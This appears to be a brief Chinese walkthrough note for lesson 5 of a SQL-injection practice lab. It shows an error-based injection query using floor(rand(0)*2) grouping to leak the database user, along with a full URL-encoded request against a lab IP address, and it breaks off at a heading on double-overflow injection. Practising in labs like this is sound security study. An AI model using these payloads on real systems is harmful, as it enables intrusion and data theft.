Less5
下面使用报错盲注来演示
BUG #8652报错盲注
sql语句:
1 | union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a |
请求payload:
1 | http://47.101.62.20:11567/Less-5/?id=1%27%20union%20Select%201,count(*),concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+ |
利用double数值类型超出范围进行报错注入
sql语句: